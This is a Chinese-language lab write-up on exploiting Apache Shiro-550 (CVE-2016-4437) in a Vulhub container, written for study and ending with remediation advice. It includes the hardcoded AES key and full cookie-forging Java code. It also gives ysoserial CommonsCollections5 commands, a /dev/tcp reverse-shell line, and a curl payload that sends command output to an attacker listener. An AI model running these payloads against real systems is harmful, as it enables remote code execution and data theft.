Vulhub靶场(Shiro-550反序列化 RCE(CVE-2016-4437))从入门到入土

0.前言和踩过的坑

Apache Shiro 是一个广泛使用的 Java 安全框架。2016 年披露的 CVE-2016-4437(即"Shiro-550")是其最著名的漏洞之一:Shiro 使用了一个硬编码的 AES 密钥来加密 rememberMe cookie,攻击者可以伪造 cookie 触发反序列化,最终实现远程代码执行。

本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。

嗯------------,有agent的帮助确实能让你事半功倍,特别是在环境的配置和工具的安装上,能让你略过最恶心人,最耗费耐心,最没有意义的部分(实际上,他可以自己打通这个靶场,不过我不想这样,因为这样实在是学了个寂寞,看一看,学一学它在干什么,怎么做的,自己去输入一遍指令),但也不能完全相信它,它是不懂得变通的,或者说变通的能力是有限度的,它帮我踩过的坑包括但不限于:

0.1 JVM版本问题

JDK 21 运行 ysoserial 时会 Invalid or corrupt jarfile必须使用JDK8才行,然后他给出的方案是在docker里面下载JDK8,然后每次使用的时候都要打开docker,后来我觉得这样太麻烦了,就在kali里面下载JDK8了

复制代码
java -jar ysoserial-all.jar CommonsCollections5 'touch /tmp/pwned' > payload.bin

而它写了一个脚本,其核心是这样的

复制代码
docker run --rm -v "D:\桌面\靶场:/work" eclipse-temurin:8-jre java -jar /work/ysoserial-all.jar CommonsCollections5 "touch /tmp/pwned"

解决方案:在kali里面下一个JDK8,要用时就直接指定版本

0.2 Windows与Linux的不适配问题

没错,我一开始是在本机(win)上尝试攻击docker的,结果发现很多指令都会发生错误,原生命令的 payload 是二进制 ,直接打印 stdout。在 bash 里 > payload.bin 没问题,但 PowerShell 的 > 是文本重定向 ------它会把字节流按文本解码再编码,二进制全被破坏这就是为什么不能在win里写 java -jar ... > payload.bin这种东西

所以它选择写脚本用 .NET 的 Process 启动 docker,然后把 stdout 的原始字节流直接抄进文件:

第 30 行: File.Create 建文件

第 32 行: StandardOutput.BaseStream.CopyTo(fs) ← 字节流直抄,不经文本层

看脚本,调环境,试命令,实在是不要太折磨,就这样最终还是打通了,这里我就略过了,终于知道为什么都是在Linux上搞了,之后换成kali后就顺畅多了

0.3 编译后的 class 在 JDK 8 上跑不了

复制代码
UnsupportedClassVersionError: PayloadGen has been compiled by a more recent version
(class file version 65.0), this version only recognizes up to 52.0

原因: JDK 21 默认编译出的 class 版本号是 65.0,JDK 8 只认 52.0。

解决: javac --release 8,显式指定目标版本。

0.4:反弹 shell 失败------/dev/tcp 不可用

bash -i >& /dev/tcp/192.168.153.128/9999 0>&1

在 Docker 精简容器中无响应

原因: 很多 Docker 镜像(如 vulhub)用的 bash 编译时没启用 --enable-net-redirections,/dev/tcp 伪文件不存在。

说人话就是这个靶场不具备真实的开bash的能力,不支持反弹shell这种高级功能

0.5:ysoserial-all.jar GitHub 下载极慢

在主机上下载本身是很快的,但在kali里面不知道为什么那么慢

90MB 的 jar 从 GitHub 下载可能卡几十分钟。

两种绕过方案:

瘦方案: 只下载 562KB 的 commons-collections-3.2.1.jar + 手写 80 行 PayloadGen.java

快方案: 从主机浏览器下载 → 拖入共享文件夹 /mnt/hgfs/

1.环境准备

靶场: vulhub/shiro/CVE-2016-4437(Docker)

攻击机: Kali Linux 2025.4

核心工具: JDK 8 + ysoserial + 自写 ShiroEnc + nc

组件 版本 / 来源 用途
JDK 8 JRE Temurin 8u422 运行 ysoserial(JDK 9+ 反射限制会导致 gadget 链失败)
JDK 21 javac Kali 自带 编译加密工具(标准 API,任意版本均可)
ysoserial-all.jar v0.0.6,57MB 生成 CC5 反序列化 payload
ShiroEnc.java 自写,约 60 行 AES/CBC 加密 + IV 拼装 + Base64 输出 rememberMe cookie
nc 系统自带 带外回显 / 反弹 shell 监听

2.基本原理与核心代码审计

要不先简单介绍一下shiro是什么吧

Apache Shiro 简单介绍

Apache Shiro 是一款 Java 语言的轻量级开源安全权限框架,相比笨重的 Spring Security,它上手简单、依赖少,经常集成在 SpringBoot Web 项目里,负责应用的身份认证、授权、会话管理、密码加密等安全能力。

核心四大功能

  1. 认证(Authentication):登录校验,判断你是谁,核对账号密码。

  2. 授权(Authorization):权限控制,判断你能干什么,角色、接口访问控制。

  3. 会话管理(Session) :用户会话,支持非 Web 环境使用 SessionrememberMe(记住我)就是会话持久化功能,关闭浏览器再次访问不用重新登录,信息保存在客户端 Cookie。

  4. 密码加密(Cryptography):提供哈希、AES 加密工具,用于密码存储、Cookie 数据加密。

为什么会爆出 Shiro‑550(RememberMe 反序列化漏洞 CVE‑2016‑4437)

这也是安全测试最常接触的漏洞 Shiro 的 remember‑me 功能逻辑: 用户勾选记住我登录成功后,服务端把用户身份对象序列化 → AES‑CBC 加密 → Base64 编码 ,放到 Cookie 的 rememberMe 字段返回浏览器。

用户下次访问,服务端流程: 读取 Cookie rememberMe 值 → Base64 解码 → AES 解密 → ObjectInputStream 直接反序列化得到对象

漏洞根源:如果攻击者拿到(或者暴力破解)Shiro 的 AES 密钥,就可以本地构造恶意序列化 Gadget,加密后伪造 rememberMe Cookie。服务端解密之后直接反序列化,触发恶意代码,实现远程命令执行。

关键点:漏洞不是 AES 加密算法本身有问题,是可控反序列化;密钥泄露 / 弱密钥是利用的前提。

和 SpringSecurity 的简单区分

  • Shiro:轻量,配置简单,老项目大量使用,自带 rememberMe 逻辑,历史上出名的反序列化漏洞。

  • SpringSecurity:Spring 生态原生,功能强大厚重,默认没有 rememberMe 自定义加密逻辑,很少出现这类组件反序列化漏洞。

核心代码审计

这是当年漏洞的核心代码

java 复制代码
// 解密逻辑:前16字节当做IV,后面是密文
private byte[] doFinal(byte[] ciphertext, byte[] key, boolean encrypt) {
    // 漏洞特征:IV直接从密文头部截取,攻击者可控IV
    byte[] iv = new byte[16];
    System.arraycopy(ciphertext, 0, iv, 0, 16);

    IvParameterSpec ivSpec = new IvParameterSpec(iv);
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
    cipher.init(encrypt ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, secretKey, ivSpec);

    // 去掉前16字节IV,解密后面内容
    byte[] realCipherText = Arrays.copyOfRange(ciphertext,16,ciphertext.length);
    return cipher.doFinal(realCipherText);
}

先对传过来的cookie rememberMe值进行解密,这个加密和解密过程我不是很感兴趣,只是大概略过,知道里面的密钥是写死的(最核心),前面有一个随机部分IV攻击者可控,而任何人只要知道了这个密钥就能对你进行攻击,而你的密钥又是shiro里面写死的任何人只要去看了shiro源代码就能知道你这个密钥,而上面也说了,shiro是开源的

java 复制代码
// 源码里直接写死的常量
private static final byte[] DEFAULT_CIPHER_KEY_BYTES
        = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

解密完后交给解析cookie rememberMe值的函数deserialize()

java 复制代码
// 获取cookie rememberMe值,解密得到字节数组
protected SerializedCollection deserialize(byte[] serialized) {
    byte[] decrypted = decrypt(serialized);
    // 关键危险点:直接把字节流交给 ObjectInputStream 反序列化
    ByteArrayInputStream bais = new ByteArrayInputStream(decrypted);
    ObjectInputStream ois = new ObjectInputStream(bais);
    return (SerializedCollection) ois.readObject();
}

可以看到,这个解析cookie rememberMe值的函数deserialize直接rememberMe的值把字节流交给ObjectInputStream,从而触发反序列化漏洞

而根据当年的源码,AI给我生成了这样一段加密恶意payload的代码

java 复制代码
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.SecureRandom;
import java.util.Base64;

/**
 * ShiroEnc --- 将 ysoserial 生成的裸序列化 payload 包装成 Shiro rememberMe cookie
 * 用法: java ShiroEnc <payload.bin> <aesKeyBase64> <output.txt>
 * 格式: [IV(16字节)][AES/CBC/PKCS5Padding密文] → Base64
 *       (Shiro 1.2.4 JcaCipherService.decrypt: 前16字节为IV,其余为密文)
 */
public class ShiroEnc {
    public static void main(String[] args) throws Exception {
        if (args.length < 3) {
            System.out.println("用法: java ShiroEnc <payload.bin> <aesKeyBase64> <output.txt>");
            return;
        }
        byte[] payload = Files.readAllBytes(Paths.get(args[0]));
        byte[] key = Base64.getDecoder().decode(args[1]);

        byte[] iv = new byte[16];
        new SecureRandom().nextBytes(iv);

        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv));
        byte[] enc = cipher.doFinal(payload);

        // Shiro 1.2.4 格式: [IV(16)][ciphertext],无长度头
        byte[] out = new byte[iv.length + enc.length];
        System.arraycopy(iv, 0, out, 0, iv.length);
        System.arraycopy(enc, 0, out, iv.length, enc.length);

        String cookie = Base64.getEncoder().encodeToString(out);
        Files.write(Paths.get(args[2]), cookie.getBytes());
        System.out.println("[+] cookie 已写入: " + args[2] + " (" + cookie.length() + " chars)");
    }
}

说人话就是他需要你传入三个参数,生成payload的位置,密钥key="kPH+bIxk5D2deZiIxcaaaA==",还有文件保存在哪,然后就可以生成cookie了

3.攻击流程

我本来是想搞反弹shell的,结果这玩意太低级了,不支持这个功能,只能求其次了

3.1 进行指纹检验

先确认是 Shiro,再谈打

java 复制代码
┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl -i "http://192.168.153.1:8080/login" -H "Cookie: rememberMe=1" | grep -i "deleteMe"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2608   0  2608   0     0 283355     0  --:--:-- --:--:-- --:--:-- 289777
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Sun, 09-Aug-2026 11:56:42 GMT
                                                                                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop]
└─# /opt/jdk8/bin/java -jar ysoserial-all.jar URLDNS "http://$(date +%s).your.dnslog.cn" > dns.bin
java ShiroEnc dns.bin "kPH+bIxk5D2deZiIxcaaaA==" dns-cookie.txt
curl -s "http://192.168.153.1:8080/login" -H "Cookie: rememberMe=$(cat dns-cookie.txt)"
# 去 dnslog 平台看有没有解析记录 → 有 = 密钥对 + 能反序列化,再上 CC5

3.2 用 ysoserial 生成序列化 payload

java 复制代码
/opt/jdk8/bin/java -jar ysoserial-all.jar \
  CommonsCollections5 \
  'bash -c "curl http://192.168.153.128:8888/$(whoami)"' \
  > oob.bin

3.3 记得先编译一下ShiroEnc.java成.class

java 复制代码
javac /home/kali/Desktop/ShiroEnc.java -d /home/kali/Desktop/ && echo "[OK]" && ls -l /home/kali/Desktop/ShiroEnc.class
[OK]
-rw-rw-r-- 1 root root 2455 Aug 10 07:22 /home/kali/Desktop/ShiroEnc.class
java 复制代码
java ShiroEnc oob.bin "kPH+bIxk5D2deZiIxcaaaA==" cookie.txt

3.5 发送攻击 + 带外回显

窗口 1(监听):

nc -lvnp 8888

窗口 2(攻击):

curl -i "http://192.168.153.1:8080/login" \

-H "Cookie: rememberMe=$(cat cookie.txt)"

3.6 结果分析

nc 窗口收到:

java 复制代码
connect to [192.168.153.128] from [192.168.153.1] 63713
GET /root HTTP/1.1        ← $(whoami) 展开为 root
User-Agent: curl/7.38.0
Host: 192.168.153.128:8888

命令执行成功,靶机以 root 身份运行。

4. 修复方案

4.1 升级 Shiro

Shiro 1.2.5+ 将密钥改为随机生成,不再硬编码。最低要求升级到 1.7.0+。

4.2 更换密钥

如果无法升级,在 shiro.ini 中自定义密钥:

securityManager.rememberMeManager.cipherKey = <你自己的 Base64 密钥>

生成新密钥:

openssl rand -base64 16

4.3 启用反序列化白名单(Shiro 1.7+)

securityManager.rememberMeManager.serializer = org.apache.shiro.io.DefaultSerializer

替换为自定义 Serializer,对反序列化的类做白名单校验。

4.4 纵深防御

WAF 层检测异常大的 rememberMe cookie(正常仅几十字节,攻击 payload 通常 2000+ 字符)

网络层限制容器出站连接(阻断 curl 带外 / 反弹 shell)

容器以非 root 用户运行(USER nobody)

相关推荐
Aision_4 小时前
实习学习笔记:HTTP请求走私漏洞全方位解析
笔记·学习·安全·web安全·http·网络安全·网络攻击模型
Fnetlink16 小时前
Fnet 云网安 260810
网络·安全·web安全
笨#小孩20 小时前
文件上传漏洞:原理与20种实战绕过方法(上)
安全·web安全
AI创界者1 天前
【网络安全运维】Kali Linux 下 Medusa(美杜莎)工具的高效部署、故障排查与安全测试实战
linux·运维·web安全
云水一下2 天前
零基础玩转bWAPP靶场(四十五):XSS - Reflected (JSON)
web安全·json·xss·bwapp·reflected
祁白_2 天前
WebShell工具流量特征分析
笔记·web安全·流量特征·webshell工具
砚凝霜3 天前
软考网络工程师|第 6 章 网络安全基础、攻击、等保完整备考笔记
网络·笔记·web安全
数据知道4 天前
XSS 攻防全解:反射型、存储型、DOM 型实战演示
前端·安全·web安全·网络安全·xss
空杆推不起4 天前
企业数据加密实战:传输链路与存储层全场景落地指南
网络·安全·web安全